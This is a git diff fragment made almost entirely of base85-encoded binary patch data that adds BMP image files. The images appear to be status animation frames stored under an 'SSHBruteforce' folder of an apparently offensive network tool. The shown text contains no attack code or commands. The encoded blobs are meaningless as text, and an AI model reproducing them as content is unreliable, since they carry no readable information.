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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 zcmeI21$Y}tmiROOz1zK89N5V~7@RncnPR3mW@cvDmKkJ}EsJc~GLvMKNhX;g=9npF zW@g8B%nbUstR$0}ot?>K=jOie?)rNwz3#56e!usss;jG8ME0h{mCKD2NNIte+?(Gg zSH8YHz9N3*O5JA^OMuV*GF4Zhf6Pa zr^~lTa<&IkxBC-!`s4NoV-E&ncl)AVci}d>qqlmZwtAyCdt$bF03AqUwz|J3m#3n( zy78Nxl=O`NrTXHw`;)ha(znO*cc!cMm)j4wW=;>cE-ubKj{BonPj(jfrpvYlQ(pH( zZ}&v)55}L2rJPNr9ghA#e|#O?3P zR$s#2Q1ZcWGLT`bm$2PO*zTvKJAeZ0_QYK}DSE3fc55hgZ|23x{;Q9`{pG9|XU98Z zxx4-NrD2(OyK zbw&+(W*uIB3`l#r0e3V(+#gCh7)b$w4TKO7Amm5m#KF=a3ke~fYY%zv(91qxEXTPX zjuHXZgW;6@p_HxO`0bw9?cTWU-q_7P!q#Bw?o9c~{_1ZM*WS)H7d-=8K2c|8o-kg? zTm|hiBkKZ?U5cSixTZN)&CE~54xwrjUs7 z;TN0m%P*sWFb|goi9cjhd}@|f(oojbkMaq5@(oRG0_Yvq{h}iPJEO(J)FpU{Yk_e0qoO;U8!W ziCH16A+zHHA3Ywu@0VZ5y12ZAQq)S9H}=!9 zaF(>hN_!eJX!}YBCz%x!jq=?E+~Uph)9tE=;F2W0Je*ph7LOuc&$2|`!jn-zmYz}j ziG=(EKDmdy@(+QOPx?NO)IDyAyH5nJK6>(38rDBO;{Hlh@V=rb4YP(6L`@K{PG_Uf z8fBsGzV&+LeXBoC|Anl*ogKbhVwsXU7OXnSGVw&EIH;&snoV6ixGB=S6e=GS4}BRA zZ6$cLCfHTS>Sx(=+qetaMCjO*C|i58h^ljN=r5Vr9PPT;__~uO-#m#sm4m` zLb+U`#lz4-a35uSrfUz*u^R=-(|cwg;n^C8?u*Ct65Lz;Rbnuz5y|S=uDs?b4bxH; zD-@H63?qXID;M9@2hVOj7Qf3NagR~*9;3uvMydPEQZy`b4>>fL_@y4OYw9Fe+sB(3 zSQ&&CdY}R*(}{n1`z5SrXJ?N3I#v=g9*Q80d_<5M!Bsgp3|y3e7>@RtvX;j}G$P{t zr{ev`;sS<}(7nEz(Rj=JRPz^M&#+o_Qh^5c#fp}`Y~r$Xj8AXUbA5VO^cI8UWq@TK zumWM0qG1MzCGRsy++h%!N34`u}}HNP;AQIL&Rl2v~s z6)cw+;of4e9v%yA$6+VJ>>9zMPSFt)G5D3}@R{h)ae~jFiI@}Kxh&nG(N`fPM8d~M z%*9{TGE3UjiB>?4kwf?zGxHyBir!=dh(&JDOVhAQJzxbwOAWB>JtjpO7W&U=)E*nk z)2p~y*%YN^AM76dE5skhN^QVZB}J(kO4U}T&YZRhZasm}78kwfINyn|ka@ILx}~UF zlHW*T;1~fnA4gaX^X}2-GE4AkAi6huNFu|v2}G?_7XeFOWl)fymI@uWyE;VVTXx3( zxX$vY+qA#?n&;|6sfVnRG%VtGnSmxPai39>Sy1p6qYkf?JiYpzKV4<|?4Glc_36pU zN8|ny))M@6jIJVOe8%MD`E(Pvb3eFjZ%sfB`) zAkW|l@QwthT1!@tha5V?t`x>^@5wHWVh~m5k;WRM;hL_3->^Kqa#iF82kT#H*#CCt z>CML+pWkKv;|-y29w^g25xv7m_c@L6QxDYf=_Gwk(r|8VVP-kO zQXwHy5%GFNXD(2*h=vcB49EoLZ5imT=jp0!&;Hkk)?&sGd28-385#cL8pD5HWBSiq zOnzo*0ldiqGkP#bJvXa@z`Q&>N0KJj631!^Dc>qRTb6&UGw%DCcv zCUM~lzP6PC*a=Ic6lr={yE{(|t}%%G?KbaUZ`$7Flll4q`&W!`&6pTOueUZKLYo*Q z7E091vSwAyk~XyGmU2WSp}jMahDaYhFOZBxB4|kyN5i|H@Fb$2@%jX7p>?}o02H~41!LY6Q^8` zw2q;us#ich!aolMOGN5=qV!-09S?*K6s_+C({$tinpvA&!5`$U&!tNDZ`WA=e4GBu zThAC()!5B%{_ayhXZSB9{4V>4v7VfsrUv+Sc!J_}^nGlr@sX=&pKhpEYfRz}SlKhl zz#s<<9`N=U4M9|btvs1TAdmS}ZgU_(c_A*1E}&$*dm|2<r40QsQ$f)y&aPF+pkaLKfu$}c3l3|`CY&q` zolUoH6h@_L>V%5P=rKqJxxDnYD@8gKC3p|xHIvNQwMdHEKEhI#Hoo2gc}PDJ!Y>Db z$wq)M2u(LH`)~v_4xx`gX?vn{VF&6yQv&P`iUXj#Tn?WZ@Vk- z|5knHfq$-i80&Cff0BiE6Wqv29v&RC<&B>+v&zP%yb8}da`7xqLSWjf%QjxEpPcM% z^_7;p*~Mt68VlOuQKO!w*?wM)1iuNqZiXeDXoZ%Zjj)u97XgLM23P@s`{yCtVi6`j zaKCJLU;*4K384!^YIz{EJQ3QS-gphBq^_}A{IaO52y8aOhlGSB z!TodLzS)#k?TklhL6N#}FXt$Pt`|bf!%7U~p#gbvgMs(1v@kE&K*iF>!PipNPv0=n z!~{7%ISz#K{QT!9ksrW%dUhTQgSH`!gO#;itZG6?YmOc-JOX;c3r@p}&k$Z!_U?uD zj>$+jpJ-ofq@%kQhrFFR5g$0^XZOO%BncNW9TPI`rsU@J4pSx${SQwDH9+H28%iFNFj7Mjz1gGqw zLWZ2YUm(4ktu?~2xY3BnIhbWW5>^ovzv>5V(dSgIHn)OFDA_uNp#uvkE%tkeIdETq z@{-#>59u6*vI&L-<#~A}dILRJ7wVv7D$iqLWMA%O-UPR5({#yEG<8ppj#^uqd%d<) zmYaozq5Hc#e!BbqBrA24tFNdc7%SI!8rjREqlzy4l2#nywc$l4!DVO2fL5?&Tu9kr zK-xw`=1z3!IWA+<-YzpZc`Z0<$rYRt8a0BCSwU(NZMh}eJZv2lHQiC^sDQjnETGX| z$`7FZbCIYtv_}#QQ2g^94ct|Q3^Wxn$e4a}OqLrsF9O|f2qQgJbyZczKx{GAMqU~+ zzPhRfy5b%q13mwIX!@DC|K)&}92DGwG)*v4bJI$}my+R8qwb+S!9|CGm8UL&?QWs% zAq89bf|WqxYrp}h;C`r2T@Z06AZ*&&I4**?iVvShm?Q@(slIS9H&h0pgMbE{gTUqj z0{43x%Qv`h=n=j-mu)-SJM_7ZrlW;@vL9Q8ih|7vj^1$`Nf={oqR0o>$UYzXU`lTOl<@lA}g!JtRzS) zjdZOC0*o!#1G#1dl|gAi}z{Qwb8)9-jOf4}EDasM`p2 zL@TMDin_?c)R0gdF3QZqXKeVVmTG>k z4O6@N^87+hOiDveuAjB7yROJ%Q<0ffo?afL5@KbZF2`jX7_sDmZL@Gl4N2eg zi&=DVDhNp1#>cNgg}nm#WWt1$IKH|se4Cr^#uIrKh!njg-z`po8yw;{pJ;O`%F>HU zutQO<(sGuTWTm=?iN!a0jgo46NJY!fTN35n zhpH;wO)V$JhRgB_q5}heVqgMJeHbf{5m*J892`!Mic1R#8?Mbg87>$*`c=(x&C^)_OBSM`CVaOmb&q%4U?gZc;U>1F zarniy{EhaknkZNS)}cJW31_A2t*+oEtz^U_s6fxH{a8Wywva8~(+XX4YknyQNCXCx z?HiPDVFyIs+M0$a|k3N62$`K|Ny>)REM&Gj?>b^0d&g(3jSHM#rwi zgK;w-^eAXHR00K<2bzhhPCjoPYp7c&YI<%QGTPi6>I4gdxJ?WWd@w6zI{0o@{rytZ zeN0qkaD1)1dkoAv%)>Is3zZTWR~w$vVqpSP7uOj+B9ESs3mf{< zOPVU$dWY7xx;HKgYd7$*+0tCfRv=N|`+YZ%BJyc6Bzl{a`@;;J5;~XQ!tr5pmqt7{JO74k|7veQzHxqPe*@ z*H`>lzuaKVb6jAm55yg7Zx!v~K=OxG5<(kNA}i8Td~F=1SpBp;L0pcIIGjK@FR3Hr<61bba_E6Q z)IpAFd~%Lz?iNz|6IE^JN6RyLjpdM#qwSfasaH9nvD0It0Bd`F3;#_fK)RaR-;ddQ ztkdIDMVYyKJA3b+|DJw%i;ngSVf*^An|-*CYdpq{pe&{*%VpI#PHve!C*}^Z-C&Vp z6@2=To$+rsSU$faO2?I)QTU>3I4&hu?Wvl!q-J($ZPUa|%j9f4F;`VsNmEKYtGsdI zlw8$0!F`kY_LaXp_~h@Rk2nSIGKjKBmNcz5Po9^z?+V;e(oq1zEQ3+5akd~d>)-Dc zgc6TeULUSbmzsx8G*ysy_d4_I%QCWnmgxktbTo6YR5QW4BHy>4%6dUQIXcl7Q>OXy z8?>DVko})EW@=H41C-%&8aMY?fB$?@S`j@N|L!&N=o#6^2Y=_vUliCx_--=Yy7IT% zS3Z02$(Jdls>yTm@Bz7J{jhiAXmF3*_nIQZyX5ZGgZ|gYL%ZbhW3mq_;^vh<-}~f? z+gCmnf5ap4nCITVe-@jPKYm7Tn!J#CVx=UY8WdV$XA?m8Vm3wt)2rJ9IZTPe*d|Vl$t89#Qjgcc=)@k53c;(7fTpB zAvaHvWqBMGgw+u~=}&GkMWFow^V(n3HYZgctsU&F%oe)^%q%V)?vpzU>d{vAGR#l= zCuhrwtK^u3SLT=AW2Ktk(fCq|m49h#S6@yG>quGC`BBz)<&F=I%@s7&rAhRN>s&id+_j*xt8@^c`lfHNqd>*T&SxEFnEZ&^yD<&Kav@Ex%SyZUFpcS1@gcixprtqn34CZE5CEpHr?6S>}`7KX6Dv3 zwb-}$29(O$yG8~;d*8AG(H+<#S9FeffZb+C$6hTgYY0kRz4D2&kW$;yHl^A@vJAU3 z+f`cDFCG@B=e@J1wem%ET=CW(dFk}DzVgM)#>Vj;xjDTo6zvbZ)ti`@7JIZpJnorY=DtBsU2^_sp?$sn+S$-b@CFmZe_W@z@|lhp4j7yI_b-Nz z$we)l8uBUv_nGZA&5$mb{Q91O9ZFEC@}>d50-7|r=Q0Hps@}gvPA#ZIIHJG``n-1; zjI>OuhbM*(F9r|J%iG8@EG{%x{>J#nTf%qP{9F(~CjxBW+u2U@#jlRlY!U+nHy);v#SRRn`Y}qFDkpp+2v$n)>#O4PvWuV{VSi+ z{r;Lhr!@1Ix0`F~Ddv&MjnB&)(`q)3$n*RAEsZZ1cXkhUFUn&{m9=%-JA3LvQt5G& zbw{e%Z&`_v1Wg{9tur$4Awpj93n@C@rJ4E5>b{q}Y48Q5Vs|+rEujY7G9uSl*gt*5 z^><;xn|e}A?y7>3#!C6NCas=M6TZmBAna-+ZZnp!mqzb5dQ0$PreY~`1Fz3O?Go( z&6ql`njV`HxXBn}=ZUj$4mE{@m^vZVO&rCQby)ai z?lOyhLoe_pBmb9AM816{a#N1?8wI}W>by5}_-`2q+%gilZT$3sxyXG}zFS88w+#7i z>hoRK;=88C_pQ9hOklmAOb(Qg=J?lJ4J2|7usp*2lI%$!0%j?p&m0mgRX z4|(=>-%J7k^KzmSGd*x)1M@&o>#G{qj!uqtE@EAL%Zn=Xr8P3+Q{GX$jcaX5r5H2! z!pi!>2^siyD8MgFnf>YMG4Rb8)q!tPDtc>eBmd3E@eVLAMLo2Jaj3boA-5z<&7?Xm z{zXh|K|pXO5<`Td0!^$vl(oamZGH7YNNq!yx~`{&HcHPxla<$yTNtfp;Gw1k90X4J z8khx}*|;ibhJzhbpr}lgZ$V&4O?-Sw1kO=f+k{^x!qNqHA^w* z((_XzBiY`uvmJ{o>#y4y+It7b_b$l2xlO^2o(kL&*@K3bTi^e>7rm!ZfA ziyA8HUYdEe_IkU7kURf+`(le+5S+;Jr(5-9)j&>awzqSMm4#)&+pNV!4a2Lavq$GZ zXajvCBpA6?=9hnndw$^sc6#*tZDg4Dyk$K)Jd|e?j)_d^o;;X2IG;Zv&+Q#* zNUIvisI0F5WAk_0Snn|Bx3r?ySslc+lpYH3eNL~>4`2*N@*y_Yp*Kl zYpfh>sqCqHKG|74-c|v~+(2zcSfIc+j7fn}NHd7YZI;S(!c1??*vpEswu*_47hSc* 